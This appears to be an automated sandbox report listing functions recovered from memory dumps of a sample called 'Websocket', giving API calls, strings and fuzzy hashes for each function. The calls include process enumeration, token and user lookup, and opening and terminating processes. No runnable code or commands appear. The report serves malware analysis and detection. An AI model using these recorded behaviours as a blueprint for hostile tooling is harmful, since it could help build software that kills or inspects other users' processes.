Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: wsprintf$MessageSend
String ID: Description$Memory$Process ID$Process Name$User Name$d
API String ID: 12235790-2901759098
Opcode ID: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction ID: 279726ffbfae14383190c6c753e1979e50f314c5c8a28d2d91e27df4f51d6de9
Opcode Fuzzy Hash: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction Fuzzy Hash: 772161B1A48340AFC360CF65C895B9BBBE4EB89704F504D2FF08893240D7B99945CF9A

Function 0040E2A0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 0040E2D4
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,0000012C,?), ref: 0040E2FF
CloseHandle.KERNEL32(?), ref: 0040E35E
wsprintfW.USER32 ref: 0040E3AE
wsprintfW.USER32 ref: 0040E3CD
wsprintfW.USER32 ref: 0040E3E4

Strings

GetTokenInformation, xrefs: 0040E309
LookupAccountSid, xrefs: 0040E348
OpenProcessToken, xrefs: 0040E2DE
%s %s, xrefs: 0040E3A8

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: wsprintf$Token$CloseHandleInformationOpenProcess
String ID: %s %s$GetTokenInformation$LookupAccountSid$OpenProcessToken
API String ID: 2594950064-3173787032
Opcode ID: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction ID: affa38bc1eb5f0fd5749b03f1417e1fb464e194ef1bd6555a84b7e3c49497071
Opcode Fuzzy Hash: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction Fuzzy Hash: C741A371508301ABE720CF25C845BEB77E8ABC8744F044D2EF88993291E778A955CB9A

Function 0040E4B0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNEL32 ref: 0040E4F3

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0040E536
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 0040E577
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,00000000,00000000), ref: 0040E594
wsprintfW.USER32 ref: 0040E5C3
VerQueryValueW.VERSION(00000000,?,?,?,?,?,00000000,00000000), ref: 0040E5DC
_wcsncpy.LIBCMT ref: 0040E652

Strings

\VarFileInfo\Translation, xrefs: 0040E58E
\StringFileInfo\%04X%04X\FileDescription, xrefs: 0040E5BD
QueryFullProcessImageName, xrefs: 0040E4FD

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: Query$FileInfoValueVersion$ErrorFormatFullImageLastMessageNameProcessSize_wcsncpywsprintf
String ID: QueryFullProcessImageName$\StringFileInfo\%04X%04X\FileDescription$\VarFileInfo\Translation
API String ID: 3020331544-1601958718
Opcode ID: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction ID: eaa9ef88b69fa93d3b711ac30ff6fc1bf7e9ecaf4ef91606315cd00198441a56
Opcode Fuzzy Hash: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction Fuzzy Hash: F14119725043016BD324EB22DC45FBB73E8AF98744F444D3EF849922D1EA79D908C76A

Function 007314A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 007314DB
SetLastError.KERNEL32(0000007F), ref: 00731507

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 6051255709d8ca6d3922b332002d0c1d203b79309da4551420f05953e9b460f9
Instruction ID: a6be09bbfe6d2794f7106b34fe3899a7141aa4d1b6372e5dfe543d44d0a03cb6
Opcode Fuzzy Hash: 6051255709d8ca6d3922b332002d0c1d203b79309da4551420f05953e9b460f9
Instruction Fuzzy Hash: D7711974E00109EFEB08DF94C581BADB7B2FF88304F648198D516AB352D738AE81DB90

Function 00619E20 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 337COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00100000,00000001,00000000), ref: 00619F75
GetCurrentProcess.KERNEL32(00000000), ref: 00619F78
GetCurrentProcess.KERNEL32(00000000), ref: 00619F7B

Strings

:3K0, xrefs: 0061A183
K<n(, xrefs: 0061A114
.v, xrefs: 0061A05D

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: :3K0$K<n($.v
API String ID: 2050909247-921737329
Opcode ID: 94817a47e41d01ae37784d4ed2cbfd74142b139b727af1155e30eb641aacb6ec
Instruction ID: 8272825aed6bc52d32ed7dc49c5e82ae1b20fe52be17daf51d008efc4e28bb70
Opcode Fuzzy Hash: 94817a47e41d01ae37784d4ed2cbfd74142b139b727af1155e30eb641aacb6ec
Instruction Fuzzy Hash: 7DB1A270B043104BDB54DFB49951AEA77A7AFC8B40F1C881EF446CB391DA34DD858BA6

Function 0040E720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

__wcsdup.LIBCMT ref: 0040E729
_memset.LIBCMT ref: 0040E739
CreateProcessW.KERNEL32 ref: 0040E774
CloseHandle.KERNEL32(?), ref: 0040E78E
CloseHandle.KERNEL32(?), ref: 0040E795

Strings

D, xrefs: 0040E76C

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: CloseHandle$CreateProcess__wcsdup_memset
String ID: D
API String ID: 169418676-2746444292
Opcode ID: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction ID: 0b47bd45ec23967565d9eba1f3cace27cbad009f0a552ed0d82179670a4d4d1e
Opcode Fuzzy Hash: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction Fuzzy Hash: DB0167B15043006BD310EF69CD41B8B7BE9AF88B40F40891EF659D7240E7B9D9448B97

Function 00413801 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0041BDC8,00000008,00413909,00000000,00000000,?,?,00413936,?,00410F75,?,?,00412311,?,?), ref: 00413812
__lock.LIBCMT ref: 00413846

Part of subcall function 00414855: __mtinitlocknum.LIBCMT ref: 0041486B
Part of subcall function 00414855: __amsg_exit.LIBCMT ref: 00414877
Part of subcall function 00414855: EnterCriticalSection.KERNEL32(?,?,?,0041384B,0000000D), ref: 0041487F

InterlockedIncrement.KERNEL32(0041D6E0), ref: 00413853
__lock.LIBCMT ref: 00413867
___addlocaleref.LIBCMT ref: 00413885

Strings

KERNEL32.DLL, xrefs: 0041380D

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction ID: 08fdddae76046f13a4609d0da6d3235dc21c8c00c6474d33689b1c42df5d2c84
Opcode Fuzzy Hash: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction Fuzzy Hash: 2D016171941B00DBD720AF66D8067C9BBE0AF50329F20851FE499966A0CBB8A6C4CB19

Function 00412B32 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00412B53

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412B64
__getptd.LIBCMT ref: 00412B72

Strings

MOC, xrefs: 00412B45
csm, xrefs: 00412B4C
RCC, xrefs: 00412B3E

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction ID: 0f2876ffef59d3c6b375385131f6e652370e27b5964fd21b7b7078cf082998b9
Opcode Fuzzy Hash: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction Fuzzy Hash: 9AE0ED359186088EC724AF69C18ABE933A5EB44319F1510A7A44DCB223D7ACEAE0854A

Function 00412DE4 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00412E0C

Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106A8
Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106B6

__getptd.LIBCMT ref: 00412E16

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412E24
__getptd.LIBCMT ref: 00412E32
__getptd.LIBCMT ref: 00412E3D
_CallCatchBlock2.LIBCMT ref: 00412E63

Part of subcall function 0041073F: __CallSettingFrame@12.LIBCMT ref: 0041078B

Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F19
Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F27

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction ID: 7569b259fc3e624cf5a97b96a7300a54ad765ced98981fdc73afb8e83ec2d13a
Opcode Fuzzy Hash: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction Fuzzy Hash: C011E4B5D002099FDB00EFA5D986BED7BB0FF04315F10806AF854AB251DB789A919F58

Function 00414EB0 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414EBC

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__amsg_exit.LIBCMT ref: 00414EDC
__lock.LIBCMT ref: 00414EEC
InterlockedDecrement.KERNEL32(?), ref: 00414F09
_free.LIBCMT ref: 00414F1C
InterlockedIncrement.KERNEL32(02321660), ref: 00414F34

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction ID: 34fd155b25c25adfe3620824084a2b0933ecb3f9ce2fde051769732d93a5196a
Opcode Fuzzy Hash: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction Fuzzy Hash: 6F015B79E00721ABD711EF669805BDA7760BB44725F15801BE804A7391CB6CAEC2CBDD

Function 00413191 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004131A4

Part of subcall function 004130FF: ___BuildCatchObjectHelper.LIBCMT ref: 00413135

_UnwindNestedFrames.LIBCMT ref: 004131BB
___FrameUnwindToState.LIBCMT ref: 004131C9

Strings

csm, xrefs: 004131A0, 004131B5, 004131C8, 004131E6, 004131F6
csm, xrefs: 00413193

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction ID: 9332ba3ff9db4df31153ad81b7ccdad3367009c071c3dcb25a55caf6b99e68f4
Opcode Fuzzy Hash: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction Fuzzy Hash: 6001FB7100110ABBDF126F51CC46EEB7F6AEF08355F044016BD1855121DB7AD9F1DBA9

Function 00415631 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041563D

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00415654
__amsg_exit.LIBCMT ref: 00415662
__lock.LIBCMT ref: 00415672
__updatetlocinfoEx_nolock.LIBCMT ref: 00415686

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction ID: e348e55c111b0dd0511f345811d13424c8a431ddd757bbd9f2e15d6ba2996f08
Opcode Fuzzy Hash: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction Fuzzy Hash: CBF09676940B10DBD721BB7698027CD3790AF40729F54411FF5489A2D6CB6C49C1CA9D

Function 0040F697 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction ID: 9f36e5016d7a42e12b889a531ce412ab75a6dd073b82eecd34aa996bae1b5947
Opcode Fuzzy Hash: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction Fuzzy Hash: CA11827111830196C734AB599852BFBB3E8EFC4358F144C3EE886C3691FA7C940983AB

Function 0040E170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0040E18D
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

WARNING: %s failed with error %d (%s), xrefs: 0040E1F4

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: WARNING: %s failed with error %d (%s)
API String ID: 3479602957-1953342023
Opcode ID: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction ID: 71bfe3ff1a5da696a3addf6ac62f14f1fc4c04e671a446e7e169288bb51f98c2
Opcode Fuzzy Hash: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction Fuzzy Hash: 1201267160430066E7249B12DC86BFB3BA9EF8A710F504C3AF555CA1D0E6749890C29E

Function 0040F6B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction ID: 51d71b27c4b37dd042226c9a40541835d3d141334fbcb817b22f35dada8c7e80
Opcode Fuzzy Hash: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction Fuzzy Hash: 1C01527110830196C734AB589852BFBB3E9EFC4354F044D3EF986C3681EA3C944887AB

Function 0040E6A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000401,00000000,?), ref: 0040E6C6

Part of subcall function 0040E2A0: OpenProcessToken.ADVAPI32 ref: 0040E2D4
Part of subcall function 0040E2A0: CloseHandle.KERNEL32(?), ref: 0040E35E

TerminateProcess.KERNEL32(00000000,00000009), ref: 0040E6EE
CloseHandle.KERNEL32(00000000), ref: 0040E6FA

Strings

SYSTEM, xrefs: 0040E6D9

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: Process$CloseHandleOpen$TerminateToken
String ID: SYSTEM
API String ID: 1755933052-968218125
Opcode ID: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction ID: 8e2cb8a182e1328e513b3a34ec3bf5da011a535263a81edc7ae68b639948cf14
Opcode Fuzzy Hash: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction Fuzzy Hash: C2F06275A0131067D330AB16AC0DFDB3FA8DBC9B10F418529F959E3282DA38880186AA

Function 007321A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 007321F9
SetLastError.KERNEL32(0000007E), ref: 0073223B

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 38b4f50d5fc10cb5cf5488caa4200bac3a0dcd409198d406b8535ebfa175ea2f
Instruction ID: 8a65c80facea493eda22a1f3806653ec6818a494a89910ec35f3fc8e1c731892
Opcode Fuzzy Hash: 38b4f50d5fc10cb5cf5488caa4200bac3a0dcd409198d406b8535ebfa175ea2f
Instruction Fuzzy Hash: 8E819B74A00209EFDB04DF94C994BAEB7B1FF48314F248158E959AB356D738AE81CF91

Function 0041586A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0041589E
__isleadbyte_l.LIBCMT ref: 004158D1
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,?,00000000,00000000,?,?,?), ref: 00415902
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,00000001,00000000,00000000,?,?,?), ref: 00415970

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction ID: 1bfa8a3c802f93689ab76b22000e8837c631d4e9b9b80ec41d52cc0f2dacea33
Opcode Fuzzy Hash: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction Fuzzy Hash: CE31D271A10646EFDB20EF64C880AEE3BB5FF81320F14856AE4659B2A1D334DDD0DB59

Function 00416787 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004167A8

Part of subcall function 0041025B: __FF_MSGBANNER.LIBCMT ref: 00410274
Part of subcall function 0041025B: __NMSG_WRITE.LIBCMT ref: 0041027B
Part of subcall function 0041025B: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
